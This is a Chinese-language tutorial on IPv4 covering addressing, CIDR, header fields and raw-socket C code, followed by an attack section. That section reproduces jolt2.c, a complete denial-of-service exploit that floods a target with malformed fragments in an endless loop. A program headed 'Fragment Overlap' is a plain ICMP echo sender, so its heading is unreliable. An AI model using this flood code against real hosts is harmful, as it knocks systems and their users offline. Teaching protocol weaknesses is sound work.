IPv4 协议分析与实践
1. 概述
1.1 简介
- IPv4是一种无连接的协议,操作在使用分组交换的链路层(如以太网)上。此协议会尽最大努力交付数据包,意即它不保证任何数据包均能送达目的地,也不保证所有数据包均按照正确的顺序无重复地到达
- IPv4 使用 32 位地址,最多 4,294,967,296(2^32)个地址,有些地址是为特殊用途所保留的,如专用网络(约1800万个地址)和多播地址(约2.7亿个地址)
1.2 IPv4 地址格式
- 分类网络 : 一个IP地址由网络类别(Class)和主机号组成, 定义了五个类别:A、B、C、D 和 E
- CIDR (无类别域间路由) : 为了解决路由表项目过多过大的问题,消除了网络类别及划分子网的概念,
地址表示方式 :IP 地址 = {网络前缀,主机号}/网络前缀所占位数
CIDR 特殊用途的地址
CIDR地址块 | 描述 | 参考资料 |
---|---|---|
0.0.0.0/8 | 本网络(仅作为源地址时合法) | RFC 5735 |
10.0.0.0/8 | 专用网络 | RFC 1918 |
100.64.0.0/10 | 电信级NAT | RFC 6598 |
127.0.0.0/8 | 环回 | RFC 5735 |
169.254.0.0/16 | 链路本地 | RFC 3927 |
172.16.0.0/12 | 专用网络 | RFC 1918 |
192.0.0.0/24 | 保留(IANA) | RFC 5735 |
192.0.2.0/24 | TEST-NET-1,文档和示例 | RFC 5735 |
192.88.99.0/24 | 6to4中继 | RFC 3068 |
192.168.0.0/16 | 专用网络 | RFC 1918 |
198.18.0.0/15 | 网络基准测试 | RFC 2544 |
198.51.100.0/24 | TEST-NET-2,文档和示例 | RFC 5737 |
203.0.113.0/24 | TEST-NET-3,文档和示例 | RFC 5737 |
224.0.0.0/4 | 多播(之前的D类网络) | RFC 3171 |
240.0.0.0/4 | 保留(之前的E类网络) | RFC 1700 |
255.255.255.255 | 受限广播 | RFC 919 |
专用网络
- 在专用网络之外不可路由,专用网络之内的主机也不能直接与公共网络通信,但可以使用 NAT 转换后通信
名字 | 地址范围 | 地址数量 | 有类别的描述 | 最大的CIDR地址块 |
---|---|---|---|---|
24位块 | 10.0.0.0–10.255.255.255 | 16,777,216 | 一个A类 | 10.0.0.0/8 |
20位块 | 172.16.0.0–172.31.255.255 | 1,048,576 | 连续的16个B类 | 172.16.0.0/12 |
16位块 | 192.168.0.0–192.168.255.255 | 65,536 | 连续的256个C类 | 192.168.0.0/16 |
1.3 IPv4 报文格式
- IP 报文的分片, 是 IP 数据包为了满足链路层的数据大小而进行的分割
-
版本号 (4) : IP 协议版本号, IPv4 固定为 4, IPv6 固定为 6
-
首部长度 (4) : 首部有多少个 4 字节,最小值为 5, 最大值为 15; 因 IPv4 首部可能包含选项,所以长度不确定
-
服务类型 (8) : 主要用于调整服务质量(低延迟、高吞吐量和高可靠性)
- [0-2] : 优先级, 现在已被忽略
- [3] : 是否低延时
- [4] : 是否高吞吐量
- [5] : 是否高可靠
- [6-7] : 保留
-
总长度 (16) : 报文首部和数据总长度(字节)
- 最小值为 20(20字节首部+0字节数据),最大值为 2^16-1=65535
- 当 MTU 的值小于 IP 报文长度时,报文就必须被分片
- IP 规定主机都必须支持最小 576 字节报文 (512数据 + 60最长IP首部 + 4富裕量 = 576)
-
标识符 (16) : 用于标识一个报文的所有分片, 因为分片不一定按序到达, 所以重组时需要知道分片所属报文
-
标志 (3) : 用于控制分片, 当禁止分片时, 但路由又必须分片报文, 此报文会被丢弃
- [0] 保留, 必须为 0
- [1] 是否禁止分片
- [2] 是否还有分片
-
分片偏移 (13) : 每个分片相对于原始报文开头的偏移量,以8字节为单位
-
存活时间 (8) : 为了避免报文在互联网中永远存在(如陷入路由环路), 报文每经过一个路由器就减 1,
当值为 0 时, 报文不再向一下跳传输并丢弃, 最大值是 255 -
协议 (8) : 该报文数据使用的协议
-
首部校验和 (16) : 不包括数据部分, 在每一跳, 路由器都要重新计算首部检验和并与该字段比对, 不一致则丢弃
-
源地址 (32) : 报文发送端 IP 地址, 但由于 NAT 存在, 该字段不一定是报文的真实发送端
-
目的地址 (32) : 报文的接收端 IP 地址
2. IPv4 编程
2.1 ipv4.h
#ifndef __ipv4_h_
#define __ipv4_h_
#define IP_VERSION_4 4
#define IP_VERSION_6 6
#define IPv4_IHL_MIN 5
#define IPv4_IHL_MAX 15
#define IPv4_TOT_MAX 65535
#define IPv4_TOS_TOS_MASK 0x1E
#define IPv4_TOS_TOS(tos) ((tos)&IPTOS_TOS_MASK)
#define IPv4_TOS_LOWDELAY 0x10
#define IPv4_TOS_THROUGHPUT 0x08
#define IPv4_TOS_RELIABILITY 0x04
#define IPv4_TOS_MINCOST 0x02
#define IPv4_TTL_DEF 64
#define IPv4_TTL_MAX 255
#define IP_PROTO_ICMP 1
#define IP_PROTO_IGMP 2
#define IP_PROTO_TCP 6
#define IP_PROTO_UDP 17
#define IP_PROTO_IPV6 41
#define IP_PROTO_SCTP 132
#define IP_PROTO_RAW 255
struct ipv4_hdr {
unsigned char ihl:4;
unsigned char version:4; // 交换 version 和 ihl 为网络字节序
unsigned char tos;
unsigned short tot_len;
unsigned short id;
unsigned short flags:3;
unsigned short frag_off:13;
unsigned char ttl;
unsigned char protocol;
unsigned short check;
unsigned int saddr;
unsigned int daddr;
/*The options start here. */
};
struct ipv4_hdr *ipv4_alloc_packet(unsigned short tot_len,
unsigned short id, unsigned char proto, const char *saddr,
const char *daddr, const void *data, size_t size);
void ipv4_free_packet(struct ipv4_hdr **packet);
int ipv4_socket();
ssize_t ipv4_send(int sockfd, struct ipv4_hdr *packet,
size_t size, const char *daddr, int flags);
ssize_t ipv4_recv(int sockfd, struct ipv4_hdr *packet,
size_t size, const char *addr, int flags);
void ipv4_close(int sockfd);
#endif /* __ipv4_h_ */
2.2 ipv4.c
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "ipv4.h"
#include "cksum.h"
#include "common.h"
struct ipv4_hdr *ipv4_alloc_packet(unsigned short tot_len, unsigned short id,
unsigned char proto, const char *saddr, const char *daddr, const void *data, size_t size)
{
struct in_addr addr;
struct ipv4_hdr *packet;
packet = (struct ipv4_hdr *) calloc(1, tot_len);
packet->version = IP_VERSION_4;
packet->ihl = (tot_len - size) / 4;
packet->tos = 0x00;
packet->tot_len = htons(tot_len);
packet->id = htons(id);
packet->flags = 0b000;
packet->frag_off = 0x00;
packet->ttl = IPv4_TTL_DEF;
packet->protocol = proto;
if (inet_aton(saddr, &addr) == 0)
handle_error_en(EINVAL, "saddr");
packet->saddr = addr.s_addr;
if (inet_aton(daddr, &addr) == 0)
handle_error_en(EINVAL, "daddr");
packet->daddr = addr.s_addr;
packet->check = cksum((uint16_t *)packet, tot_len - size);
if (NULL != data && size > 0) {
memcpy((char *)packet + packet->ihl * 4, data, size);
}
return packet;
}
void ipv4_free_packet(struct ipv4_hdr **ipv4)
{
if (NULL != ipv4 && NULL != *ipv4) {
free(*ipv4);
*ipv4 = NULL;
}
}
int ipv4_socket()
{
int sockfd;
int flag = 1;
if ((sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
handle_error("socket");
if (setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &flag, sizeof(flag)) == -1)
handle_error("setsockopt : IP_HDRINCL");
return sockfd;
}
ssize_t ipv4_send(int sockfd, struct ipv4_hdr *packet, size_t size,
const char *daddr, int flags)
{
ssize_t count;
struct sockaddr_in addr;
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
inet_pton(addr.sin_family, daddr, &addr.sin_addr);
if ((count = sendto(sockfd, packet, size, flags, (struct sockaddr *)&addr, sizeof(addr))) == -1)
handle_error("sendto");
return count;
}
ssize_t ipv4_recv(int sockfd, struct ipv4_hdr *packet, size_t size,
const char *daddr, int flags)
{
ssize_t count;
socklen_t socklen;
struct sockaddr_in addr;
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
inet_pton(addr.sin_family, daddr, &addr.sin_addr);
socklen = sizeof(addr);
if ((count = recvfrom(sockfd, packet, size, flags, (struct sockaddr *)&addr, &socklen)) == -1)
handle_error("recvfrom");
return count;
}
void ipv4_close(int sockfd)
{
if (close(sockfd) == -1)
handle_error("close");
}
2.3 main.c
#include <stdio.h>
#include <string.h>
#include "ipv4.h"
static void ipv4_send_test()
{
int sockfd;
unsigned short tot_len;
struct ipv4_hdr *packet;
const char *data = "aaaaaaaaaaaaa";
const char *saddr = "192.168.2.100";
const char *daddr = "192.168.2.200";
sockfd = ipv4_socket();
tot_len = sizeof(struct ipv4_hdr) + strlen(data);
packet = ipv4_alloc_packet(tot_len, 0x0001, IP_PROTO_RAW, saddr, daddr, data, strlen(data));
ipv4_send(sockfd, packet, tot_len, daddr, 0);
ipv4_close(sockfd);
}
int main(int argc, char *argv[])
{
ipv4_send_test();
return 0;
}
shell> sudo tcpdump -nt -XX 'ip or icmp'
IP 192.168.2.100 > 192.168.2.200: ip-proto-255 13
0x0000: 000d 0d0d 0d0d 0c0c 0c0c 0c0c 0800 4500 ..............E.
0x0010: 0021 0001 0000 40ff f360 c0a8 0264 c0a8 .!....@..`...d..
0x0020: 02c8 6161 6161 6161 6161 6161 6161 61 ..aaaaaaaaaaaaa
IP 192.168.2.200 > 192.168.2.100: ICMP 192.168.2.200 proto 255 unreachable, length 41
0x0000: 0c0c 0c0c 0c0c 000d 0d0d 0d0d 0800 45c0 ..............E.
0x0010: 003d adc3 0000 4001 45c0 c0a8 02c8 c0a8 .=....@.E.......
0x0020: 0264 0302 53b5 0000 0000 4500 0021 0001 .d..S.....E..!..
0x0030: 0000 40ff f360 c0a8 0264 c0a8 02c8 6161 ..@..`...d....aa
0x0040: 6161 6161 6161 6161 6161 61 aaaaaaaaaaa
3. IPv4 攻击
3.1 Fragment Attack
/*
* File: jolt2.c
* Author: Phonix <phonix@moocow.org>
* Date: 23-May-00
*
* Description: This is the proof-of-concept code for the
* Windows denial-of-serice attack described by
* the Razor team (NTBugtraq, 19-May-00)
* (MS00-029). This code causes cpu utilization
* to go to 100%.
*
* Tested against: Win98; NT4/SP5,6; Win2K
*
* Written for: My Linux box. YMMV. Deal with it.
*
* Thanks: This is standard code. Ripped from lots of places.
* Insert your name here if you think you wrote some of
* it. It's a trivial exploit, so I won't take credit
* for anything except putting this file together.
*/
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <getopt.h>
struct _pkt
{
struct iphdr ip;
union {
struct icmphdr icmp;
struct udphdr udp;
} proto;
char data;
} pkt;
int icmplen = sizeof(struct icmphdr),
udplen = sizeof(struct udphdr),
iplen = sizeof(struct iphdr),
spf_sck;
void usage(char *pname)
{
fprintf (stderr, "Usage: %s [-s src_addr] [-p port] dest_addr\n",
pname);
fprintf (stderr, "Note: UDP used if a port is specified, otherwise ICMP\n");
exit(0);
}
u_long host_to_ip(char *host_name)
{
static u_long ip_bytes;
struct hostent *res;
res = gethostbyname(host_name);
if (res == NULL)
return (0);
memcpy(&ip_bytes, res->h_addr, res->h_length);
return (ip_bytes);
}
void quit(char *reason)
{
perror(reason);
close(spf_sck);
exit(-1);
}
int do_frags (int sck, u_long src_addr, u_long dst_addr, int port)
{
int bs, psize;
unsigned long x;
struct sockaddr_in to;
to.sin_family = AF_INET;
to.sin_port = 1235;
to.sin_addr.s_addr = dst_addr;
if (port)
psize = iplen + udplen + 1;
else
psize = iplen + icmplen + 1;
memset(&pkt, 0, psize);
pkt.ip.version = 4;
pkt.ip.ihl = 5;
pkt.ip.tot_len = htons(iplen + icmplen) + 40;
pkt.ip.id = htons(0x455);
pkt.ip.ttl = 255;
pkt.ip.protocol = (port ? IPPROTO_UDP : IPPROTO_ICMP);
pkt.ip.saddr = src_addr;
pkt.ip.daddr = dst_addr;
pkt.ip.frag_off = htons (8190);
if (port)
{
pkt.proto.udp.source = htons(port|1235);
pkt.proto.udp.dest = htons(port);
pkt.proto.udp.len = htons(9);
pkt.data = 'a';
} else {
pkt.proto.icmp.type = ICMP_ECHO;
pkt.proto.icmp.code = 0;
pkt.proto.icmp.checksum = 0;
}
while (1) {
bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &to,
sizeof(struct sockaddr));
}
return bs;
}
int main(int argc, char *argv[])
{
u_long src_addr, dst_addr;
int i, bs=1, port=0;
char hostname[32];
if (argc < 2)
usage (argv[0]);
gethostname (hostname, 32);
src_addr = host_to_ip(hostname);
while ((i = getopt (argc, argv, "s:p:h")) != EOF)
{
switch (i)
{
case 's':
dst_addr = host_to_ip(optarg);
if (!dst_addr)
quit("Bad source address given.");
break;
case 'p':
port = atoi(optarg);
if ((port <=0) || (port > 65535))
quit ("Invalid port number given.");
break;
case 'h':
default:
usage (argv[0]);
}
}
dst_addr = host_to_ip(argv[argc-1]);
if (!dst_addr)
quit("Bad destination address given.");
spf_sck = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (!spf_sck)
quit("socket()");
if (setsockopt(spf_sck, IPPROTO_IP, IP_HDRINCL, (char *)&bs,
sizeof(bs)) < 0)
quit("IP_HDRINCL");
do_frags (spf_sck, src_addr, dst_addr, port);
}
3.2 Fragment Overlap
/* Copyright (C) 2011 P.D. Buchan (pdbuchan@yahoo.com)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
Original source: https://pastebin.com/62JmMddE
Modified by Evan Myers.
*/
// Send an IPv4 ICMP packet via raw socket.
// Stack fills out layer 2 (data link) information (MAC addresses) for us.
// Values set for echo request packet, includes some ICMP data.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h> // close(), getopt()
#include <string.h> // strcpy, memset(), and memcpy()
#include <netdb.h> // struct addrinfo
#include <sys/types.h> // needed for socket()
#include <sys/socket.h> // needed for socket()
#include <netinet/in.h> // IPPROTO_RAW, IPPROTO_IP, IPPROTO_ICMP
#include <netinet/ip.h> // struct ip and IP_MAXPACKET (which is 65535)
#include <netinet/ip_icmp.h> // struct icmp, ICMP_ECHO
#include <arpa/inet.h> // inet_pton() and inet_ntop()
#include <sys/ioctl.h> // macro ioctl is defined
#include <bits/ioctls.h> // defines values for argument "request" of ioctl.
#include <net/if.h> // struct ifreq
#include <errno.h> // errno, perror()
// Define some constants.
#define IP4_HDRLEN 20 // IPv4 header length
#define ICMP_HDRLEN 8 // ICMP header length for echo request, excludes data
// Function prototypes
unsigned short int checksum (unsigned short int *, int);
int main (int argc, char **argv)
{
int status, datalen, sd, *ip_flags, opt;
const int on = 1;
char *interface, *target, *src_ip, *dst_ip;
struct ip iphdr;
struct icmp icmphdr;
unsigned char *data, *packet;
struct addrinfo hints, *res;
struct sockaddr_in *ipv4, sin;
struct ifreq ifr;
void *tmp;
// Valid command line options string, see GETOPT(3).
char optstring[] = "i:s:d:";
// Allocate memory for various arrays.
// Maximum ICMP payload size = 65535 - IPv4 header (20 bytes) - ICMP header (8 bytes)
tmp = (unsigned char *) malloc ((IP_MAXPACKET - IP4_HDRLEN - ICMP_HDRLEN) * sizeof (unsigned char));
if (tmp != NULL) {
data = tmp;
} else {
fprintf (stderr, "ERROR: Cannot allocate memory for array 'data'.\n");
exit (EXIT_FAILURE);
}
memset (data, 0, (IP_MAXPACKET - IP4_HDRLEN - ICMP_HDRLEN) * sizeof (unsigned char));
tmp = (unsigned char *) malloc (IP_MAXPACKET * sizeof (unsigned char));
if (tmp != NULL) {
packet = tmp;
} else {
fprintf (stderr, "ERROR: Cannot allocate memory for array 'packet'.\n");
exit (EXIT_FAILURE);
}
memset (packet, 0, IP_MAXPACKET * sizeof (unsigned char));
tmp = (char *) malloc (40 * sizeof (char));
if (tmp != NULL) {
interface = tmp;
} else {
fprintf (stderr, "ERROR: Cannot allocate memory for array 'interface'.\n");
exit (EXIT_FAILURE);
}
memset (interface, 0, 40 * sizeof (char));
tmp = (char *) malloc (40 * sizeof (char));
if (tmp != NULL) {
target = tmp;
} else {
fprintf (stderr, "ERROR: Cannot allocate memory for array 'target'.\n");
exit (EXIT_FAILURE);
}
memset (target, 0, 40 * sizeof (char));
tmp = (char *) malloc (16 * sizeof (char));
if (tmp != NULL) {
src_ip = tmp;
} else {
fprintf (stderr, "ERROR: Cannot allocate memory for array 'src_ip'.\n");
exit (EXIT_FAILURE);
}
memset (src_ip, 0, 16 * sizeof (char));
tmp = (char *) malloc (16 * sizeof (char));
if (tmp != NULL) {
dst_ip = tmp;
} else {
fprintf (stderr, "ERROR: Cannot allocate memory for array 'dst_ip'.\n");
exit (EXIT_FAILURE);
}
memset (dst_ip, 0, 16 * sizeof (char));
tmp = (int *) malloc (4 * sizeof (int));
if (tmp != NULL) {
ip_flags = tmp;
} else {
fprintf (stderr, "ERROR: Cannot allocate memory for array 'ip_flags'.\n");
exit (EXIT_FAILURE);
}
memset (ip_flags, 0, 4 * sizeof (int));
// Collect interface and IP values from command line options.
while ((opt = getopt (argc, argv, optstring)) != -1) {
switch (opt) {
case 'i':
interface = optarg;
break;
case 's':
strcpy (src_ip, optarg);
break;
case 'd':
strcpy (target, optarg);
break;
default:
fprintf (stderr, "Invalid argument \"%d\"", opt);
exit (EXIT_FAILURE);
}
}
// Submit request for a socket descriptor to lookup interface.
if ((sd = socket (AF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) {
perror ("socket() failed to get socket descriptor for using ioctl() ");
exit (EXIT_FAILURE);
}
// Use ioctl() to lookup interface.
memset (&ifr, 0, sizeof (ifr));
snprintf (ifr.ifr_name, sizeof (ifr.ifr_name), "%s", interface);
if (ioctl (sd, SIOCGIFINDEX, &ifr) < 0) {
perror ("ioctl() failed to find interface ");
return (EXIT_FAILURE);
}
close (sd);
printf ("Index for interface %s is %i\n", interface, ifr.ifr_ifindex);
// Fill out hints for getaddrinfo().
memset (&hints, 0, sizeof (struct addrinfo));
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_flags = hints.ai_flags | AI_CANONNAME;
// Resolve target using getaddrinfo().
if ((status = getaddrinfo (target, NULL, &hints, &res)) != 0) {
fprintf (stderr, "getaddrinfo() failed: %s\n", gai_strerror (status));
exit (EXIT_FAILURE);
}
ipv4 = (struct sockaddr_in *) res->ai_addr;
tmp = &(ipv4->sin_addr);
inet_ntop (AF_INET, tmp, dst_ip, 40);
freeaddrinfo (res);
// ICMP data
datalen = 4;
data[0] = 'T';
data[1] = 'e';
data[2] = 's';
data[3] = 't';
// IPv4 header
// IPv4 header length (4 bits): Number of 32-bit words in header = 5
iphdr.ip_hl = IP4_HDRLEN / 4;
// Internet Protocol version (4 bits): IPv4
iphdr.ip_v = 4;
// Type of service (8 bits)
iphdr.ip_tos = 0;
// Total length of datagram (16 bits): IP header + ICMP header + ICMP data
iphdr.ip_len = htons (IP4_HDRLEN + ICMP_HDRLEN + datalen);
// ID sequence number (16 bits): unused, since single datagram
iphdr.ip_id = htons (0);
// Flags, and Fragmentation offset (3, 13 bits): 0 since single datagram
// Zero (1 bit)
ip_flags[0] = 0;
// Do not fragment flag (1 bit)
ip_flags[1] = 0;
// More fragments following flag (1 bit)
ip_flags[2] = 0;
// Fragmentation offset (13 bits)
ip_flags[3] = 0;
iphdr.ip_off = htons ((ip_flags[0] << 15)
+ (ip_flags[1] << 14)
+ (ip_flags[2] << 13)
+ ip_flags[3]);
// Time-to-Live (8 bits): default to maximum value
iphdr.ip_ttl = 16;
// Transport layer protocol (8 bits): 1 for ICMP
iphdr.ip_p = IPPROTO_ICMP;
// Source IPv4 address (32 bits)
inet_pton (AF_INET, src_ip, &(iphdr.ip_src));
// Destination IPv4 address (32 bits)
inet_pton (AF_INET, dst_ip, &iphdr.ip_dst);
// IPv4 header checksum (16 bits): set to 0 when calculating checksum
iphdr.ip_sum = 0;
iphdr.ip_sum = checksum ((unsigned short int *) &iphdr, IP4_HDRLEN);
// ICMP header
// Message Type (8 bits): echo request
icmphdr.icmp_type = ICMP_ECHO;
// Message Code (8 bits): echo request
icmphdr.icmp_code = 0;
// Identifier (16 bits): usually pid of sending process - pick a number
icmphdr.icmp_id = htons (1000);
// Sequence Number (16 bits): starts at 0
icmphdr.icmp_seq = htons (0);
// ICMP header checksum (16 bits): set to 0 when calculating checksum
icmphdr.icmp_cksum = 0;
// Prepare packet.
// Next part of packet is upper layer protocol header.
memcpy ((packet ), &icmphdr, ICMP_HDRLEN);
// Finally, add the ICMP data.
memcpy (packet + ICMP_HDRLEN, data, datalen);
// Calculate ICMP header checksum
icmphdr.icmp_cksum = checksum ((unsigned short int *) (packet ), ICMP_HDRLEN + datalen);
memcpy ((packet ), &icmphdr, ICMP_HDRLEN);
// The kernel is going to prepare layer 2 information (ethernet frame header)
// for us. For that, we need to specify a destination for the kernel in order
// for it to decide where to send the raw datagram. We fill in a struct
// in_addr with the desired destination IP address, and pass this structure
// to the sendto() function.
memset (&sin, 0, sizeof (struct sockaddr_in));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = iphdr.ip_dst.s_addr;
// Submit request for a raw socket descriptor.
if ((sd = socket (AF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) {
perror ("socket() failed ");
exit (EXIT_FAILURE);
}
// Bind socket to interface index
if (setsockopt (sd, SOL_SOCKET, SO_BINDTODEVICE, &ifr, sizeof (ifr)) < 0) {
perror ("setsockopt() failed to bind to interface ");
exit (EXIT_FAILURE);
}
bind (sd, (struct sockaddr*)&sin, sizeof(sin));
// Send packet.
if (sendto (sd, packet, ICMP_HDRLEN + datalen, 0, (struct sockaddr *) &sin, sizeof (struct sockaddr)) < 0) {
perror ("sendto() failed ");
exit (EXIT_FAILURE);
}
struct sockaddr_in rec;
unsigned char * pkt = (unsigned char *) malloc (2048);
if (recvfrom (sd, (void*)pkt, sizeof(struct ip) + sizeof(struct icmp) + datalen, 0, NULL, (socklen_t*)sizeof (struct sockaddr)) < 0) {
perror ("recvfrom() failed ");
exit (EXIT_FAILURE);
}
struct ip *ip = (struct ip *)pkt;
struct icmp *icmp = (struct icmp *)(pkt + sizeof(struct ip));
printf("%s %s %d\n",(char*)inet_ntoa(*(struct in_addr*)&ip->ip_dst),
(char*)inet_ntoa(*(struct in_addr*)&ip->ip_src),
icmp->icmp_type);
free (pkt);
close (sd);
// Free allocated memory.
free (data);
free (packet);
free (interface);
free (target);
free (src_ip);
free (dst_ip);
free (ip_flags);
return (EXIT_SUCCESS);
}
// Checksum function
unsigned short int checksum (unsigned short int *addr, int len)
{
int nleft = len;
int sum = 0;
unsigned short int *w = addr;
unsigned short int answer = 0;
while (nleft > 1) {
sum += *w++;
nleft -= sizeof (unsigned short int);
}
if (nleft == 1) {
*(unsigned char *) (&answer) = *(unsigned char *) w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xFFFF);
sum += (sum >> 16);
answer = ~sum;
return (answer);
}
参考链接
- https://tools.ietf.org/html/rfc791
- https://zh.wikipedia.org/wiki/IPv4
- https://zhuanlan.zhihu.com/p/58610182